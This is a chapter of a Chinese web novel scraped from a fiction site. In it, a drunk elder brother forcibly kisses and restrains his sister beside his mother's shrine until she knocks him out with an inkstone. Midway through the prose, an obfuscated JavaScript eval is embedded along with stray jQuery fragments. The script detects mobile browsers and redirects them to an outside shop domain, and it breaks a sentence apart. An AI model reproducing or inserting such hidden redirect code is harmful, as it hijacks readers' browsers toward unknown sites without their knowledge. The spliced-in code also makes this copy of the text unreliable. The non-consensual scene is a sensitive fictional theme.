文趣网 > 其他小说 > 不只是兄妹 > 17. 第 17 章
    月亮渐渐隐在云层之后,奚毓提着食盒入内。

    看似空无一人的小院里,在黑夜中透着一股死寂。

    奚毓并非一定要擅闯此地,她打算得好,只需将东西放在廊下,做足姿态即可。

    若是能寻得一二纸笔,表明身份来意便更好,也不怕来日长兄认错好心人。

    奚毓自顾自走着,能察觉赵嬷嬷一直在背后看着她,给足了她安全感。

    只是两人因着紧张,谁也没能注意月光早已不在,天色越发黑沉。

    就着廊下两盏不算明亮的灯笼,奚毓拾级而上,来到正屋门口。

    刚准备放下食盒,天边忽然一道闪电出现,照亮了未关严的门缝,也让奚毓看清了门内的景象。

    正堂内,一块楠木牌位正立其中,案前香炉内还有半截尚未燃尽的香,昭示着不久前有人到过此地。

    而那一瞬间的亮堂,让奚毓清晰望见牌位上的字样——先妣荣母讳邀月之莲位。

    竟是直接省去了“昌平侯府”等字眼!

    荣母邀月?

    荣邀月!

    奚毓手中的食盒骤然落地,发出“哐当”一声响动。

    她猛地回神,伸手去捡掉落的食盒,心中却掀起惊涛骇浪。

    荣邀月!

    侯府先夫人竟然是荣邀月!

    娘亲手札里提到过的人。

    虽只寥寥几笔,但从娘亲的口吻里能看出,她们之间似乎又很深很浓的情谊。

    且不难看出,娘亲似乎很是欣赏其人,对其不吝夸赞之语。

    若说二人是因为爹爹与侯爷的关系相识,那为何从前从未听娘亲提起过,并且荣邀月的名字只出现在手札最后那几页。

    “谁?”

    随着这一声厉呵响起,天空无端端暴雨如注,如同这一道声音一般,来得猝不及防。

    奚毓再次被惊吓住。

    大雨哗哗,将屋内的脚步声遮掩,但奚毓再次抬头时,眼前已经出现一道高大人影。

    雷声轰隆,闪电时隐时现,将男人照得忽明忽暗,因生的过于高大,半边脸隐在门框造成的阴影处,看不清神情。

    “长兄。”奚毓自知有愧,弱弱出声。

    “是你啊,过来。”男人轻声开口,似用尽了毕生温柔。

    又一道闪电自远方劈下,奚毓看着面前面无表情的岳渊,气势凌然、冰冷死寂,全然一副陌生景象,在这夜深人静时分,竟然透出一丝丝鬼气。

    奚毓害怕地后退一步,扭头看向院门口,赵嬷嬷不知是不是为了避雨,早已不在原处。

    无法,她只能忍住畏惧,微微矮下身拿起食盒,递到岳渊面前,开口道歉。

    “长兄,妹妹听闻你醉酒,是来送醒酒汤的,并非有意……”

    余音还未出口,奚毓只觉手腕被人紧紧握住,身体随着那股力道不自主往屋内跌去。

    粉白的裙摆在门槛处划过一道优美的弧度,待奚毓回过神来,已经深处祠堂旁的一处暖阁。

    一张红木书桌,一处狭窄小榻,一道屏风将两者相隔,布置极简,气息寥寥,显然只是供前来上香祭祀者偶尔休息之所。

    而此刻,奚毓这个外来者正被人拥住,立于其间,站在这座没有丝毫人气的院落,一个侯府众人避之不及、闭口不谈的地方。

    腰间那只强有力的臂膀紧紧箍住她的腰,使二人紧密相贴。

    鼻尖是浓重的酒气,混合着男人身上惯有的松香,不算难闻,却有些刺鼻。

    尤其是对奚毓这种嗅觉十分灵敏之人来说,可谓有些折磨。

    “长兄、长兄,你快放开我,这与礼不合!”此时的奚毓深知岳渊醉酒,只是将她当成了伺候人的奴仆,尚未做他想。

    直到……

    男人将她困在怀中,一双大手在腰间作乱。先是双手掐住,细得像是只有他一掌之长,盈盈一握当时如此。

    几息后又伸长双臂,一手环住背脊,一手紧箍腰间,稍稍用力,便将奚毓整个人嵌入他怀中,严丝合缝,亦如那日抱住她的雪天。

    奚毓还来不及挣扎,便察觉到脖颈间男人呼吸湿热,他竟是将下颌搭在了她的肩上,如同饿极了的幼犬一般,似在深深嗅着她的气息。

    “你怎的又来了?可真是磨人!”

    寂静无声的暖阁内,男人似叹息似呢喃的声音响起,夹杂着欢愉和痛苦,带着期待和无奈。

    不等奚毓明白什么,下一瞬,有一抹温热的东西吻上她的脖颈,柔软又滚烫。

    被禁锢住的她蓦然睁大眼,便是再迟钝她也反应过来了那是什么。

    想到自己此刻或许是被岳渊当成了可供人玩乐的妓子,又或是他的哪个相好,奚毓登时一阵恶寒。

    “长兄!”

    湿热的吻顺着脖颈往上。

    “岳渊!”

    吻依旧继续,男人不为所动。

    奚毓伸手推拒,偏头躲开。

    “岳渊,我是奚毓,你的妹妹!”

    “妹妹”二字似乎唤醒了男人,岳渊的动作滞住,唇距离奚毓精巧的下巴咫尺之遥,吻欲落不落。

    二人贴得极近。

    奚毓的双手继续撑在岳渊胸膛,察觉到他的动作停下,她以为是自己方才的话起了效果。

    “长兄,我是奚毓,你的妹妹!”她边说着,边想挣开岳渊的控制。

    哪知话音刚落,整个人被一股子极为霸道的力量带着,蓦地往后退去,整个人靠在墙壁之上,面前是如山般的岳渊。

    一时间进退维谷。

    “长……”话未出口,她的下巴被人捏住,话音戛然而止。

    与此同时,双手被人禁锢向上,高举于头顶,挣脱不得。

    “妹妹?我知晓。”岳渊如鬼魅的声音响起。

    奚毓闻言,震惊得无以复加。

    男人一手制住她想要挣脱的双手,一手松开她的下颌,大手轻抚在她颊侧,来回轻扫,语气幽幽,似情人间耳语:“今日的妹妹,怎的如此不乖!”

    话音落下,大手再次捏住她的下颌,奚毓只觉唇角一热,是岳渊覆上了那抹红唇。

    那抹在梦中蹂躏过无数次的红唇!

    轰——

    奚毓的脑中像是无数朵烟花骤然炸响,炸得她晕头转向。

    无论如何她也预想不到,不过是送一次醒酒汤和药膳罢了,怎的就演变成了眼下境况。

    “唔唔——”她死命挣扎着,想要摆脱这个败类的控制,顺带狠狠给他一巴掌。

    可两人之间的力量过于悬殊,她只能任由男人紧紧压制住她,在她口中横冲直撞。

    他的吻不似他的人,看着温润如玉,动作间却粗暴蛮横;他的吻也似他的人,一切都只是表面假象,实则真正的他就是如此强势又霸道。

    没有浅尝辄止、温柔缱绻,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786174|209709||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    口舌尖尽是占有和攻城略地。

    毫无经验的动作令奚毓很是难受,嘴唇不多时便火辣辣起来。

    偏作怪的人尤不满足,见怀中人不再挣扎,竟是松开了箍住她双手的手,另一手腾出空来,紧搂住奚毓的腰,带着人往边上几步,急不可耐地扫清桌上的一应物什,将人压在红木书桌上,再次俯身而上。

    当男人的吻再次落到脖颈,一双手不安分地在她身上动作时,奚毓明显感受到岳渊逐渐慢下来的动作。

    满屋浓重的酒气,想必是醉得狠了。

    奚毓眼疾手快抓起悬停在桌边的一方砚台,手起砚落,身上的人顿住一瞬,而后软软倒下。

    奚毓忍着惊惧,推开身上的人。

    见他软到在地,她一边手忙脚乱整理衣服,一边死命踹了岳渊几脚,发泄心中怒气。

    原以为他是当之无愧的正人君子,不成想与那些觊觎她美色的登徒子有过之而无不及。

    奚毓看了看外间还在跳动的烛火,又看看地上那嗫嚅着唇,似乎在说什么的男子。

    只觉他更为荒唐。

    竟然在自己母亲的祠堂旁,对妹妹做出这等大逆不道之事。

    气急攻心之下,奚毓转身便走,自然没能听到身后岳渊低低的呢喃。

    他说:“娘,孩儿终究……是世子……不负所望……”

    语气悲伤,痛苦至极。

    路过外间时,奚毓即便慌乱,却还不忘带走了那个食盒。

    也不管暴雨如注,她直接一脚踏上雨水,水花四溅之下,她顿时浑身湿透。

    此刻奚毓脑中唯一的念头就是跑,赶紧跑。

    待跑至院门,便见同样一身湿透的赵嬷嬷正欲往院内冲。

    见她过来,赵嬷嬷显然松了口气。

    “姑娘,雨太大了,咱们快些回吧。”反正两人都已经淋湿,闲月阁距离这里不远,回去沐浴之后一碗姜汤下肚应是无碍。

    大雨之下,着急回去的赵嬷嬷自然没有见到奚毓异常红润的唇。

    只是在见到奚毓将手中食盒随意甩到竹林深处时,讶异问:“姑娘,这……”

    奚毓丢下一句“没人”便大步向前。

    赵嬷嬷只觉有事,却不敢在奚毓气上心头时多嘴,紧跟着她离开。

    在两人走后不久,去取醒酒汤,又因下雨被困在半路的沉风总算举着伞姗姗来迟。

    他推开院门,见主屋门大开,以为是岳渊又闹事,神色无常走入暖阁。

    在见到岳渊仰躺在地,衣裳凌乱,满身纸张时,沉风有一瞬担忧,但当他的视线转向屋内凌乱的物什时,面上又恢复习以为常。

    公子喝醉之后,就是爱耍些酒疯。

    沉风将岳渊扶到小榻上,收拾东西的时候还讶异,今日的公子为何睡得这般早。

    若是换做从前,没闹上一个时辰不会罢休。

    也不做什么,就是不喜人近身,听不得嘈杂,爱到处翻东西。

    不成想今日只是将桌上的东西扫落。

    忙着照顾岳渊的沉风自然没能见到,那方翻倒在地的砚台底部,出现了丝丝裂痕。

    而在无人在意的一处长廊中,陈嘉宁带着丫鬟被困其间,恰好越过小池,见到对面的奚毓自月洞门慌慌张张而出。

    她微一凝眉,当即道:“明日去打探打探,那月洞门后有什么?”

    为何会让奚毓如此惊慌。